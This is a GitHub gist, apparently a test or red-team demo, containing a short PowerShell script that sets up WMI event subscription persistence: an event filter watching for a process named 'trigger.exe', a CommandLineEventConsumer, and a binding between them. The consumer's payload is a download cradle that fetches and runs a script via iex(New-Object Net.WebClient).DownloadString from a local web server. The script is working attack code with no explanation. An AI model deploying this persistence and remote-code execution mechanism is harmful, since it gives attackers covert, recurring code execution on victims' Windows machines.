Skip to content

Instantly share code, notes, and snippets.

@olamotte
Created September 4, 2019 12:52
Show Gist options
  • Save olamotte/d46f128256eebc99c45684573d677454 to your computer and use it in GitHub Desktop.
Save olamotte/d46f128256eebc99c45684573d677454 to your computer and use it in GitHub Desktop.
WMI filter, consumer, and binding creation in powershell
$EventFilterName = "test_ps_filter2"
$EventConsumerName = "test_ps_consumer2"
$Payload = "cmd /C powershell.exe -nop iex(New-Object Net.WebClient).DownloadString('http://localhost:8000/pop.txt');"
#Event filter
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $EventFilterName
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'trigger.exe'";
QueryLanguage = 'WQL'
}
$Filter2 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
#CommandLineEventConsumer
$CommandLineConsumerArgs = @{
Name = $EventConsumerName
CommandLineTemplate = $Payload
}
$Consumer2 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
#FilterToConsumerBinding
$FilterToConsumerArgs = @{
Filter = $Filter2
Consumer = $Consumer2
}
$FilterToConsumerBinding2 = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment